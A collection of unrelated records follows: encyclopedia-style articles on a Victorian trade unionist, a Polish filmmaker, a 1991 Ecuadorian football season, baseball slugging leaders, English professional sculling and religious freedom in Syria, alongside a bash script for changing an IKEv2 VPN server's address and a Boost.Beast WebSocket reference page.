Coulson joined the Operative Bricklayers' Society (OBS) in 1852 and soon moved to London, winning election as the union's general secretary in 1860. He immediately affiliated the union to the London Trades Council, and became known for his strong administrative skills. He led the union through a largely unsuccessful strike in 1861/2. Initially, he worked with George Howell, making his editor of the union journal, the OBS Monthly Trade Circular, but the two fell out, and in 1862 Howell tried to get Coulson removed from office. He was unsuccessful, but tried again repeatedly until 1870, when he resigned from the union.
As a leading figure on the London Trades Council, Coulson becamee known as a member of the "Junta", alongside Robert Applegarth, William Allan, Daniel Guile and George Odger. This consisted of a small committee which aimed to cautiously advance the cause of trade unionism. Of the leaders, Coulson was the most reluctant to take industrial action, and he led opposition to George Odger's more militant approach. Although Coulson was a radical, and encouraged his union to support candidates in elections who were in favour of Parliamentary reform or represented the labour movement, he was opposed to any formal political involvement by trade unions. Coulson did pledge his union's support for the Reform League, and the repeal of the Master and Servant Act, and even served on the council of the International Workingmen's Association in 1865/6.
Coulson devoted much of his time to running his trade union. When the treasurer of the Shoreditch branch absconded with its funds, he organised a search for the individual, and once he was captured, Coulson placed adverts informing the public of the prison sentence he had received. The union frequently came into conflict with the Manchester Unity of Bricklayers, and in 1869 when that union went on strike, he even endorsed the formation of an OBS branch of strikebreakers in the city. This only intensified after Howell joined the Manchester union, but eventually Coulson prevailed, the membership of the OBS greatly exceeding that of the other union.
While Coulson boycotted early meetings of the Trades Union Congress (TUC), partly in protest at Howell's involvement, he recognised its growing importance and served as President of the TUC in 1881. He used his presidential address to denounce protectionism, Parliamentary involvement in trade matters, and wars resulting from British imperialism. This proved the high point of his career, and he became increasingly authoritarian, promoting policies with which his union executive disagreed. Under pressure, he resigned in 1891, and retired to Cambridge, dying two years later.
References
1828 births
1893 deaths
British trade union leaders
Members of the International Workingmen's Association
People from Cambridge
Presidents of the Trades Union Congress
|
```shell
#!/bin/bash
#
# Script to change IKEv2 VPN server address
#
# The latest version of this script is available at:
# path_to_url
#
#
# This work is licensed under the Creative Commons Attribution-ShareAlike 3.0
#
# Attribution required: please include my name in any derivative and let me
# know how you have improved it!
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
SYS_DT=$(date +%F-%T | tr ':' '_')
exiterr() { echo "Error: $1" >&2; exit 1; }
bigecho() { echo "## $1"; }
check_ip() {
IP_REGEX='^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$'
printf '%s' "$1" | tr -d '\n' | grep -Eq "$IP_REGEX"
}
check_dns_name() {
FQDN_REGEX='^([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$'
printf '%s' "$1" | tr -d '\n' | grep -Eq "$FQDN_REGEX"
}
check_root() {
if [ "$(id -u)" != 0 ]; then
exiterr "Script must be run as root. Try 'sudo bash $0'"
fi
}
check_os() {
os_type=$(lsb_release -si 2>/dev/null)
[ -z "$os_type" ] && [ -f /etc/os-release ] && os_type=$(. /etc/os-release && printf '%s' "$ID")
case $os_type in
[Aa]lpine)
os_type=alpine
;;
*)
os_type=other
;;
esac
}
check_libreswan() {
ipsec_ver=$(ipsec --version 2>/dev/null)
if ( ! grep -qs "hwdsl2 VPN script" /etc/sysctl.conf && ! grep -qs "hwdsl2" /opt/src/run.sh ) \
|| ! printf '%s' "$ipsec_ver" | grep -qi 'libreswan'; then
cat 1>&2 <<'EOF'
Error: This script can only be used with an IPsec server created using:
path_to_url
EOF
exit 1
fi
}
check_ikev2() {
if ! grep -qs "conn ikev2-cp" /etc/ipsec.d/ikev2.conf; then
cat 1>&2 <<'EOF'
Error: You must first set up IKEv2 before changing IKEv2 server address.
See: path_to_url
EOF
exit 1
fi
}
check_utils_exist() {
command -v certutil >/dev/null 2>&1 || exiterr "'certutil' not found. Abort."
}
abort_and_exit() {
echo "Abort. No changes were made." >&2
exit 1
}
confirm_or_abort() {
printf '%s' "$1"
read -r response
case $response in
[yY][eE][sS]|[yY])
echo
;;
*)
abort_and_exit
;;
esac
}
check_cert_exists() {
certutil -L -d sql:/etc/ipsec.d -n "$1" >/dev/null 2>&1
}
check_ca_cert_exists() {
check_cert_exists "IKEv2 VPN CA" || exiterr "Certificate 'IKEv2 VPN CA' does not exist. Abort."
}
get_server_address() {
server_addr_old=$(grep -s "leftcert=" /etc/ipsec.d/ikev2.conf | cut -f2 -d=)
check_ip "$server_addr_old" || check_dns_name "$server_addr_old" || exiterr "Could not get current VPN server address."
}
show_welcome() {
cat <<EOF
Welcome! Use this script to change this IKEv2 VPN server's address.
Current server address: $server_addr_old
EOF
}
get_default_ip() {
def_ip=$(ip -4 route get 1 | sed 's/ uid .*//' | awk '{print $NF;exit}' 2>/dev/null)
if check_ip "$def_ip" \
&& ! printf '%s' "$def_ip" | grep -Eq '^(10|127|172\.(1[6-9]|2[0-9]|3[0-1])|192\.168|169\.254)\.'; then
public_ip="$def_ip"
fi
}
get_server_ip() {
use_default_ip=0
public_ip=${VPN_PUBLIC_IP:-''}
check_ip "$public_ip" || get_default_ip
check_ip "$public_ip" && { use_default_ip=1; return 0; }
bigecho "Trying to auto discover IP of this server..."
check_ip "$public_ip" || public_ip=$(dig @resolver1.opendns.com -t A -4 myip.opendns.com +short)
check_ip "$public_ip" || public_ip=$(wget -t 2 -T 10 -qO- path_to_url
check_ip "$public_ip" || public_ip=$(wget -t 2 -T 10 -qO- path_to_url
}
enter_server_address() {
echo "Do you want IKEv2 VPN clients to connect to this server using a DNS name,"
printf "e.g. vpn.example.com, instead of its IP address? [y/N] "
read -r response
case $response in
[yY][eE][sS]|[yY])
use_dns_name=1
echo
;;
*)
use_dns_name=0
echo
;;
esac
if [ "$use_dns_name" = 1 ]; then
read -rp "Enter the DNS name of this VPN server: " server_addr
until check_dns_name "$server_addr"; do
echo "Invalid DNS name. You must enter a fully qualified domain name (FQDN)."
read -rp "Enter the DNS name of this VPN server: " server_addr
done
else
get_server_ip
[ "$use_default_ip" = 0 ] && echo
read -rp "Enter the IPv4 address of this VPN server: [$public_ip] " server_addr
[ -z "$server_addr" ] && server_addr="$public_ip"
until check_ip "$server_addr"; do
echo "Invalid IP address."
read -rp "Enter the IPv4 address of this VPN server: [$public_ip] " server_addr
[ -z "$server_addr" ] && server_addr="$public_ip"
done
fi
}
check_server_address() {
if [ "$server_addr" = "$server_addr_old" ]; then
echo >&2
echo "Error: IKEv2 server address is already '$server_addr'. Nothing to do." >&2
abort_and_exit
fi
}
confirm_changes() {
cat <<EOF
You are about to change this IKEv2 VPN server's address.
*IMPORTANT* After running this script, you must manually update
the server address (and remote ID, if applicable) on any existing
IKEv2 client devices. For iOS clients, you'll need to export and
re-import client configuration using the IKEv2 helper script.
===========================================
Current server address: $server_addr_old
New server address: $server_addr
===========================================
EOF
printf "Do you want to continue? [Y/n] "
read -r response
case $response in
[yY][eE][sS]|[yY]|'')
echo
;;
*)
abort_and_exit
;;
esac
}
create_server_cert() {
if check_cert_exists "$server_addr"; then
bigecho "Server certificate '$server_addr' already exists, skipping..."
else
bigecho "Generating server certificate..."
if [ "$use_dns_name" = 1 ]; then
certutil -z <(head -c 1024 /dev/urandom) \
-S -c "IKEv2 VPN CA" -n "$server_addr" \
-s "O=IKEv2 VPN,CN=$server_addr" \
-k rsa -g 3072 -v 120 \
-d sql:/etc/ipsec.d -t ",," \
--keyUsage digitalSignature,keyEncipherment \
--extKeyUsage serverAuth \
--extSAN "dns:$server_addr" >/dev/null 2>&1 || exiterr "Failed to create server certificate."
else
certutil -z <(head -c 1024 /dev/urandom) \
-S -c "IKEv2 VPN CA" -n "$server_addr" \
-s "O=IKEv2 VPN,CN=$server_addr" \
-k rsa -g 3072 -v 120 \
-d sql:/etc/ipsec.d -t ",," \
--keyUsage digitalSignature,keyEncipherment \
--extKeyUsage serverAuth \
--extSAN "ip:$server_addr,dns:$server_addr" >/dev/null 2>&1 || exiterr "Failed to create server certificate."
fi
fi
}
update_ikev2_conf() {
bigecho "Updating IKEv2 configuration..."
if ! grep -qs '^include /etc/ipsec\.d/\*\.conf$' /etc/ipsec.conf; then
echo >> /etc/ipsec.conf
echo 'include /etc/ipsec.d/*.conf' >> /etc/ipsec.conf
fi
sed -i".old-$SYS_DT" \
-e "/^[[:space:]]\+leftcert=/d" \
-e "/^[[:space:]]\+leftid=/d" /etc/ipsec.d/ikev2.conf
if [ "$use_dns_name" = 1 ]; then
sed -i "/conn ikev2-cp/a \ leftid=@$server_addr" /etc/ipsec.d/ikev2.conf
else
sed -i "/conn ikev2-cp/a \ leftid=$server_addr" /etc/ipsec.d/ikev2.conf
fi
sed -i "/conn ikev2-cp/a \ leftcert=$server_addr" /etc/ipsec.d/ikev2.conf
}
update_ikev2_log() {
ikev2_log="/etc/ipsec.d/ikev2setup.log"
if [ -s "$ikev2_log" ]; then
sed -i "/VPN server address:/s/$server_addr_old/$server_addr/" "$ikev2_log"
fi
}
restart_ipsec_service() {
bigecho "Restarting IPsec service..."
mkdir -p /run/pluto
service ipsec restart 2>/dev/null
}
print_client_info() {
cat <<EOF
Successfully changed IKEv2 server address!
EOF
}
ikev2changeaddr() {
check_root
check_os
check_libreswan
check_ikev2
check_utils_exist
check_ca_cert_exists
get_server_address
show_welcome
enter_server_address
check_server_address
confirm_changes
create_server_cert
update_ikev2_conf
update_ikev2_log
if [ "$os_type" = "alpine" ]; then
ipsec auto --replace ikev2-cp >/dev/null
else
restart_ipsec_service
fi
print_client_info
}
## Defer until we have the complete script
ikev2changeaddr "$@"
exit 0
```
|
```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>websocket::stream::accept (6 of 6 overloads)</title>
<link rel="stylesheet" href="../../../../../../../../doc/src/boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.79.1">
<link rel="home" href="../../../../index.html" title="Chapter 1. Boost.Beast">
<link rel="up" href="../accept.html" title="websocket::stream::accept">
<link rel="prev" href="overload5.html" title="websocket::stream::accept (5 of 6 overloads)">
<link rel="next" href="../accept_ex.html" title="websocket::stream::accept_ex">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table cellpadding="2" width="100%"><tr>
<td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../../../../../boost.png"></td>
<td align="center"><a href="../../../../../../../../index.html">Home</a></td>
<td align="center"><a href="../../../../../../../../libs/libraries.htm">Libraries</a></td>
<td align="center"><a href="path_to_url">People</a></td>
<td align="center"><a href="path_to_url">FAQ</a></td>
<td align="center"><a href="../../../../../../../../more/index.htm">More</a></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="overload5.html"><img src="../../../../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../accept.html"><img src="../../../../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../../index.html"><img src="../../../../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="../accept_ex.html"><img src="../../../../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
<div class="section">
<div class="titlepage"><div><div><h6 class="title">
<a name="beast.ref.boost__beast__websocket__stream.accept.overload6"></a><a class="link" href="overload6.html" title="websocket::stream::accept (6 of 6 overloads)">websocket::stream::accept
(6 of 6 overloads)</a>
</h6></div></div></div>
<p>
Respond to a WebSocket HTTP Upgrade request.
</p>
<h7><a name="beast.ref.boost__beast__websocket__stream.accept.overload6.h0"></a>
<span class="phrase"><a name="beast.ref.boost__beast__websocket__stream.accept.overload6.synopsis"></a></span><a class="link" href="overload6.html#beast.ref.boost__beast__websocket__stream.accept.overload6.synopsis">Synopsis</a>
</h7><pre class="programlisting"><span class="keyword">template</span><span class="special"><</span>
<span class="keyword">class</span> <a class="link" href="../../../concepts/Body.html" title="Body"><span class="bold"><strong>Body</strong></span></a><span class="special">,</span>
<span class="keyword">class</span> <span class="identifier">Allocator</span><span class="special">></span>
<span class="keyword">void</span>
<span class="identifier">accept</span><span class="special">(</span>
<span class="identifier">http</span><span class="special">::</span><span class="identifier">request</span><span class="special"><</span> <span class="identifier">Body</span><span class="special">,</span> <span class="identifier">http</span><span class="special">::</span><span class="identifier">basic_fields</span><span class="special"><</span> <span class="identifier">Allocator</span> <span class="special">>></span> <span class="keyword">const</span><span class="special">&</span> <span class="identifier">req</span><span class="special">,</span>
<span class="identifier">error_code</span><span class="special">&</span> <span class="identifier">ec</span><span class="special">);</span>
</pre>
<h7><a name="beast.ref.boost__beast__websocket__stream.accept.overload6.h1"></a>
<span class="phrase"><a name="beast.ref.boost__beast__websocket__stream.accept.overload6.description"></a></span><a class="link" href="overload6.html#beast.ref.boost__beast__websocket__stream.accept.overload6.description">Description</a>
</h7><p>
This function is used to synchronously send the HTTP response to an HTTP
request possibly containing a WebSocket Upgrade. The call blocks until
one of the following conditions is true:
</p>
<div class="itemizedlist"><ul class="itemizedlist" style="list-style-type: disc; ">
<li class="listitem">
The response finishes sending.
</li>
<li class="listitem">
An error occurs on the stream.
</li>
</ul></div>
<p>
This function is implemented in terms of one or more calls to the next
layer's <code class="computeroutput"><span class="identifier">read_some</span></code> and
<code class="computeroutput"><span class="identifier">write_some</span></code> functions.
</p>
<p>
If the stream receives a valid HTTP WebSocket Upgrade request, an HTTP
response is sent back indicating a successful upgrade. When this call
returns, the stream is then ready to send and receive WebSocket protocol
frames and messages. If the HTTP Upgrade request is invalid or cannot
be satisfied, an HTTP response is sent indicating the reason and status
code (typically 400, "Bad Request"). This counts as a failure.
</p>
<h7><a name="beast.ref.boost__beast__websocket__stream.accept.overload6.h2"></a>
<span class="phrase"><a name="beast.ref.boost__beast__websocket__stream.accept.overload6.parameters"></a></span><a class="link" href="overload6.html#beast.ref.boost__beast__websocket__stream.accept.overload6.parameters">Parameters</a>
</h7><div class="informaltable"><table class="table">
<colgroup>
<col>
<col>
</colgroup>
<thead><tr>
<th>
<p>
Name
</p>
</th>
<th>
<p>
Description
</p>
</th>
</tr></thead>
<tbody>
<tr>
<td>
<p>
<code class="computeroutput"><span class="identifier">req</span></code>
</p>
</td>
<td>
<p>
An object containing the HTTP Upgrade request. Ownership is
not transferred, the implementation will not access this object
from other threads.
</p>
</td>
</tr>
<tr>
<td>
<p>
<code class="computeroutput"><span class="identifier">ec</span></code>
</p>
</td>
<td>
<p>
Set to indicate what error occurred, if any.
</p>
</td>
</tr>
</tbody>
</table></div>
</div>
<table xmlns:rev="path_to_url~gregod/boost/tools/doc/revision" width="100%"><tr>
<td align="left"></td>
file LICENSE_1_0.txt or copy at <a href="path_to_url" target="_top">path_to_url
</p>
</div></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="overload5.html"><img src="../../../../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../accept.html"><img src="../../../../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../../index.html"><img src="../../../../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="../accept_ex.html"><img src="../../../../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
</body>
</html>
```
|
Przemysław Reut (born 1969) is a Polish filmmaker based in New York City. He won the Someone to Watch Award at the 18th Independent Spirit Awards for his work in the film Paradox Lake (2002).
Reut studied journalism at the University of Warsaw and film at the School of Visual Arts.
Filmography
Close Up (1996)
Paradox Lake (2002)
References
External links
Living people
1969 births
Polish film directors
Independent Spirit Award winners
University of Warsaw alumni
School of Visual Arts alumni
Polish expatriates in the United States
|
Liga Deportiva Universitaria de Quito's 1991 season was the club's 61st year of existence, the 38th year in professional football, and the 31st in the top level of professional football in Ecuador.
Kits
Sponsor(s): Philips
Squad
Competitions
Serie A
First stage
Results
Second stage
Group 1
Results
Third stage
Group 2
Note: Includes Bonus Points earned from the previous rounds: El Nacional (1.5); Emelec & LDU QUito (0.5)
Results
Copa Libertadores
First stage
Round of 16
References
RSSSF - 1991 Serie A
RSSSF - 1991 Copa Libertadores
External links
Official Site
LDU Quito (5) - Emelec (0)
1991
|
In baseball statistics, slugging percentage (SLG) is a measure of the batting productivity of a hitter. It is calculated as total bases divided by at bats. Unlike batting average, slugging percentage gives more weight to extra-base hits with doubles, triples, and home runs, relative to singles. Plate appearances ending in walks are specifically excluded from this calculation, as an appearance that ends in a walk is not counted as an at bat.
Babe Ruth is the all-time leader with a career slugging percentage of .6897. Ted Williams (.6338), Lou Gehrig (.6324), Mule Suttles (.6179), Turkey Stearnes (.6165), Oscar Charleston (.6145), Jimmie Foxx (.6093), Barry Bonds (.6069), and Hank Greenberg (.6050) are the only other players with a career slugging percentage over .600.
Key
List
Stats updated as of October 1, 2023.
Notes
Sources
Slugging percentage 5
Major League Baseball statistics
|
The English Sculling Championship developed out of informal competitions between working watermen on rivers such as the Thames and the Tyne. Various matches were made on a casual basis but in time these were more formalised. The first recognised Champion was Charles Campbell (rower) who beat John Williams in September 1831 on the Thames. Various persons then held the Championship which was gained under the challenge system. In June 1876 Edward Trickett of Australia won the Championship and then the Title became the World Sculling Championship See this entry for a list of Champions and races, and other details, from 1831 to 1876.
English Championship
Trickett returned to Australia and apparently took the English title with him. There arose innumerable disputes as to who was the resident champion in England. To bring order out of chaos the proprietors of the “Daily Chronicle” offered a silver cup as an emblem for the English Championship and stated that it was first to be rowed for in an open regatta. The winner would then be subject to challenges under the usual challenge system. However any sculler who won it three times in succession could claim it as their personal property. This arrangement was fairly common in professional sport in those days. The regatta was held on the Tyne in March 1877 and the cup was won by Robert W. Boyd when he beat W. Nicholson of Stockton.
The following races were held subsequently.
28 May 1877 Boyd beat John Higgins on the Thames.
8 Oct 1877 Higgins beat Boyd, Thames.
14 Jan 1878 Higgins beat Boyd on a foul, on the Tyne.
3 June 1878 Higgins beat William Elliott, Thames.
Higgins thus became the permanent holder and owner of the cup. To encourage the sport the proprietors of the London “Sportsman” gave another cup to be raced for on similar conditions. The regatta was held on the Thames in September 1878 and in the final Elliott won on a foul against Boyd.
The following races were held subsequently.
16 Feb 1879 Elliott beat Higgins, Tyne.
16 June 1879 Ned Hanlan beat Elliott, Tyne.
15 Nov 1880 Hanlan beat Trickett, Thames. (This was also a World Championship Race.)
14 Feb 1881 Hanlan beat Elias C. Laycock. Thames. (This also was a World Championship Race.)
3 April 1882 Hanlan beat Boyd. Tyne. (Also a World Championship Race.)
At this point Hanlan was the owner of the Cup. He went on to race many World Title races and United States Championship races but it seems that he never defended his English Championship Title. Another “Sportsman Cup” was provided for by the company and this became the trophy which was raced for.
As Hanlan was Canadian the question arose again of who was, or should be, the English Champion. The next race was 20 June 1882 when J Largan of Wandsworth beat H Pearce of Sydney on the Thames.
26 May 1886, G J Perkins beat Australian Neil Matterson on the Thames. Matterson was also an unsuccessful contender for the World Title.
7 Feb 1887 George Bubear of Hammersmith beat Perkins on the Tyne.
Bubear himself was beaten in the next race on the 13 Feb 1888 by Canadian Wallace Ross on the Thames.
From this point English sculling was at a low ebb with the centre of activity having gone to Australia and Sydney in particular.
Ross was induced to put his English Championship up for the following race. He did not defend his title.
9 September 1888 Henry Ernest Searle beat another Canadian William Joseph O'Connor on the Thames. This was also a World Title race. Searle died in 1889 and the next race was;
30 Nov 1891 when William East of Isleworth beat Perkins on the Tyne. Again he seems not to have defended it.
30 Jan 1893 G. Bubear beat George H. Hosmer of Boston USA, on the Thames.
25 Sept 1893 Tom Sullivan (rower) of New Zealand beat Bubear on the Thames.
16 Feb 1895 Englishman Charles R. Harding (Sullivan's trainer) beat Sullivan on the Tyne.
On 9 September 1895 they had a re-match on the Championship Course on the Thames and again Harding won. His time was 22 minutes 59 seconds.
In July 1896, Harding challenged the Australian Jim Stanbury for the World Sculling Championship Title. The race took place on the Thames but Stanbury defended his world title and won the wager of £500 a side. At stake was the English Title as well and this was won by Stanbury.
7 Sept 1896 Jacob Gaudaur, a Canadian beat Stanbury on the Thames. Gaudaur did not defend his title.
21 September 1898. W. A. Barry beat George Towns on the Championship Course (London,)
George Towns of Australia had gone to England in April 1897 with financial assistance from his supporters. In May 1899 won the Championship of England from W.A. Barry, a brother of Ernest Barry. The following year in September he defended his English title against a challenger from Australia, James Wray. Towns went on to win the World Championship but it was not until October 1908 that he defended his English Title. Towns travelled to England where he unsuccessfully defended his English Title on the Thames. He did not lose without a fight as his conqueror (Ernest Barry) had to row a record time over the course to win. The stakes were £400.
Further reading
The New York Clipper Annual 1892.
The Complete Oarsman by R C Lehmann 1908
Edward Hanlan Champion Oarsman, published by Albert S Manders, Melbourne, 1884.
Sport in England
History of rowing
Rowing in England
National championships in England
|
The constitution of the Syrian Arab Republic guarantees freedom of religion. Syria has had two constitutions: one passed in 1973, and one in 2012 through the 2012 Syrian constitutional referendum. Opposition groups rejected the referendum; claiming that the vote was rigged.
Syria has come under international condemnation over its sectarian policies towards Syrian Sunnis, prohibition on religious groups like Jehovah's witnesses, suppression of Protestant churches and for normalising anti-Semitic tropes through state media.
In 2023, the country was scored 2 out of 4 for religious freedom, with the government controling the appointment of Muslim religious leaders, restricted proselytizing, a ban on conversion of Muslims and active terror threats.
In the same year, the country was ranked as the 12th most difficult place in the world to be a Christian.
History of the constitutional clauses (1973)
After a great deal of struggle between various groups for power, the Ba'athist party assumed power over Syria. Being opposed to religion in general, the Ba'athist theoretician Michel Aflaq associated religion with the old corrupt social order, oppression, and exploitation of the weak; seeming to have been influenced by a mixture of radical Hobbesian and Marxist views on religion. The constitution, however, still made it clear that in quote "Islamic jurisprudence shall be the main source for legislation". Despite this proviso, there were a number of Sunni Muslims who felt that the secularization of the country had gone too far. They pressed for Islam as a state religion, demanding that all laws contrary to Islam should be abrogated. Their beliefs encompassed the understanding that the essential elements of the unity of Syria is the shari'a, which includes laws adequate to organize all aspects of life; at the level of the individual, the family, the nation and the state.
In 1973, a new constitution was drafted after demands from the opposition for stricter Islamic law. The Constitution was adopted by the People's Council at the end of January 1973 but had no provision to that effect. Viewing the Constitution as the product of an Alawite-dominated, secular, Ba'athist ruling elite, Sunni militants staged a series of riots in February 1973 in conservative and predominantly Sunni cities such as Hamah and Homs. Numerous demonstrators were killed or wounded in clashes between the troops and demonstrators. After these demonstrations took place, the Assad government had the draft charter amended to include a provision that the President of Syria must be Muslim, and that Islamic law is a main source of legislation as a compromise to the Islamists. On March 13, 1973, the new Constitution (which is no longer applicable, having been amended in 2012) went into effect.
Paragraph 2 of Article 3 declares that Islamic jurisprudence is "a" source of law, but not "the" absolute source. Bernard Botiveau notes that from a Ba'athist perspective "Islam was one of the fundamental components of Arabness, but required to be located at the religious, and not the political end." Sunni Shaykh Muhammad al-Habash interprets the provision to mean that it "refers to the situation where there is another source of law. Islam is a main source, but not the unique source. There are other sources for a wide area of law." Scholarly commentator Nael Georges supposes that if there is no Islamic law that regulates a specific circumstance, secular law is applied. However, Georges concludes that there is not strict separation between Islam and the state in its present constitutional setup. Despite this Article in the Constitution, Syria identifies itself as secular, and does not follow Islamic law. In Bashar al-Assad's speech in 2013, he reaffirmed his commitment to keeping Syria a secular state.
Religious and ethnic landscape
Syria's eighteen million population is a mosaic of ethnically, culturally, and religiously distinct communities. Ninety percent of the Syrians adhere to an Arab identity; another roughly nine percent is Kurdish, Armenian, Circassian, and Turkomans filling out the mix. It is estimated that Sunni Muslims make up seventy-four percent of Syria's overall population. As such, Sunnis provide the central symbolic and cultural orientation. Of these, a minority are of Kurdish descent, reducing the core Sunni Arab majority to roughly two-thirds of the populace. Approximately another sixteen percent of the population, while Arab in ethnicity, consists of a few Twelver Shi`a, and various offshoots of Shi'a Islam – Alawite, Druze, and Isma'ilis. The 'Alawis are by far the largest community in the category of non-Sunni Muslims. Their number is estimated at eleven percent of the overall population. Christians, of various Eastern Orthodox and Uniate traditions and the Latin Rite, along with a smattering of Protestants, make up ten percent of the population. Syria's Arab Jewish community has, to a great extent, disappeared as a result of emigration in the early 1990s. In 1993, it was reported that there were 3,655 individuals of the Jewish faith comprising 584 families distributed throughout the various Syrian governantes.
Religious clauses are constitutionally entrenched
The Constitution of the Syrian Arab Republic that was passed in 2012 guaranteed religious freedom in Article 3 and Article 33. Article 3 stipulates:
Despite claiming to be a secular state, the 2012 constitution also states in Article 3 that the President must be a Muslim, and that the majority of laws will based on Islam. Despite being prevalent in the constitution, Syria is seen as a secular state without having its laws based on Islam.
Personal status laws
In Syria, two kinds of judicial systems exist: a secular and a religious one. Secular courts hear matters of public, civil and criminal law. Religious courts that exercise specialized jurisdiction are divided into shari'a courts, doctrinal courts, and spiritual courts. They hear personal status law cases only. Shari'a courts regulate disputes among Syrian Muslims, whereas doctrinal courts are empowered to guarantee the personal status decisions of members of the Druze cult. Spiritual courts can also settle personal status matters for Jewish, Christian and other non-Muslim groups. Decisions of all of the religious courts may be appealed to the canonical and spiritual divisions of the Court of Cassation.
However, in 2016 the de facto autonomous Federation of Northern Syria - Rojava for the first time in Syrian history introduced and started to promote civil marriage as a move towards a secular open society and intermarriage between people of different religious backgrounds.
Public endowments
The second preponderant element of collective religious self-determination under Article 35 of the Syrian Constitution is the ability to manage and control public waqf. Making available the waqf institution is not so much a new innovation of the Syrian state, but all the more a continuation of an ancient practice which has its roots in Byzantine and Sasanian trust law. Mainly the Umayyads and the Ottomans developed what can nowadays be seen as constitutional custom. For historians the waqf institution provided the foundation for much of what is considered Islamic civilization.
Islamic waqf
In 1947 the Syrian waqf administration, headed by the prime minister, was formed. For the first time in Syrian history, the members of the High Council of Awqaf were nominated and not voted for. The law was later reversed, as in the year 1961, and a new statutory source came into effect. Parts of the Council's initial authority were definitely curtailed in 1965. The competences to nominate leaders and teachers of mosques as well as religious administrators were eventually transferred to the powers of the Syrian Prime Minister in 1966.
In spite of that, notable Sunni Islamic leaders retained their influence in the waqf administration and Ministry in that they were given important offices. Today, the competences of the waqf Ministry encompass, inter alia: the administration of waqf wealth (which includes much of Syria's property); mufti organization; administration of mosques and shari'a schools; control of charitable state functions; and the preparation of parliamentary bills. The waqf administration as part of the waqf Ministry, is composed half of secular and half of religious personnel. Its minister is nominated by the President of the Syrian Arab Republic. Since the establishment of the Ministry, waqf ministers have always been adherents of Sunni Islam.
Non-Muslim waqf
Non-Muslim waqf – those of the Druze, Christians, and Jews – were not included under the French programme and mandate reforms. Non-Muslim waqf continue to be administered by the leaders of the respective religious community, but is overseen by the waqf Ministry. Act No. 31 of 2006 contains an entire body of legal provisions regulating the waqf institution of the Catholic rites. Similar Acts were adopted for all non-Muslim waqf institutions. Many Christian or Jewish founders of pious trusts donated the revenues to their non-Muslim institutions. This kind of public waqf pays for the construction and maintenance of churches, schools, or the salaries of their personnel. Waqf revenues likewise pay for religious orders and other religious constructions and buildings such as cemeteries and tombs. Waqf funds are used for libraries, translation centres, and students' scholarships. Orphanages, needs of widows, the blind or other handicapped or poor people are all cared for with waqf money.
Adoption, change, and renunciation of religion
Syrians are free to engage or refrain from engaging in belief or religious observance in any manner other than is prohibited by law. Article 35(1) of the Syrian constitution holds that: "Freedom of faith is guaranteed […]." The provision includes the freedom to retain or chose one's religion, or to replace the current religion with another, or to adopt atheistic views. There is no official legal punishment under Syrian law for apostasy of Islam, or any other religion. Article 35(2) of the Syrian Constitution stipulates that "the state guarantees the freedom to hold any religious rites […]," as long as "they [the apostates] do not disturb public order." As far as can be established, there is no Syrian case tying apostasy to "disturbing public order." The provision is interpreted by scholarly means in the sense that a person who wishes to convert is free to do so as long as such activity is "made in private." The meaning of the words "in private" in association with the requirement not to "disturb public order" need to be looked at from two varying angles: converting from a specific religion to another religion; and vice versa.
Conversion away "from" Islam
A Muslim is disallowed by virtue of Islamic jurisprudence to challenge society. Former Judge Haitham Maleh comments, "any Syrian Muslim is allowed to change his religion provided that conversion is exercised behind closed doors and without affecting neighbours." Judge Maleh reiterates more specifically, "an effect must not even be felt by the closest family members." This can be construed as a condemnation of publicly announcing a change in religion; although no case exists of a person being charged for publicly converting to a different religion. However, an apostate from a religion has no legal right to speak about or act upon his or her new belief. The word "private" means the forum internum of a person. This interpretation approach is also reflected, for instance, in the general inability to change a Muslim's birth certificate or other personal documents. Moreover, it is a generally accepted practice that there are no religious ceremonies for such personal, highly intimate events.
The primary listed reason why Syrian Muslims cannot change their religion is not the passive role of the state, but Syrian society. Father Paolo Dall'Oglio comments "freedom of religion is virtually unthinkable with regard to the cultural role religion plays in everyday Syrian society." He opines that the "replacing of one's current religion would not only mean the complete loss of one's social ties, including one's own family, friends, and acquaintances, but maybe also professional position." From this perspective there are no legal but a fortiori social sanctions. Islamic scholar Jørgen S. Nielsen says in the same regard "the state obviously discourages it because it simply rocks the boat."
However, the desire to adopt a new religion is a relatively rare phenomenon. Father Paolo believes that "there are only a few such cases."
In Syria, the often-cited Hadith Sahih al-Bukhari is of no direct legal effect. The Hadith demand, "if someone changes the religion you have to kill him" is not incorporated into the Syrian Penal Code of 1949. Judge Maleh argues that the idea of Sahih al-Bukhari in 9:57 was "to protect the Islamic society from Muslims who change their religion and start to work as enemies against Islam." Shaykh al-Habash muses similarly "maybe Prophet Muhammad mentioned it for someone who changed his religion and began to fight as an enemy against Islam at that moment in history." Al-Habash cannot accept it as tradition that generally applies to all people changing from one religion to another, even in the case of Islam. To him, this tradition is not part of the precious Qur'an, but "is a statement made by Prophet Muhammad and was later narrated by the people." Finally, Shaykh al-Habash emphasizes, "ninety-nine percent of all Syrian Muslims believe that it is forbidden to use force against others."
Conversion "to" Islam
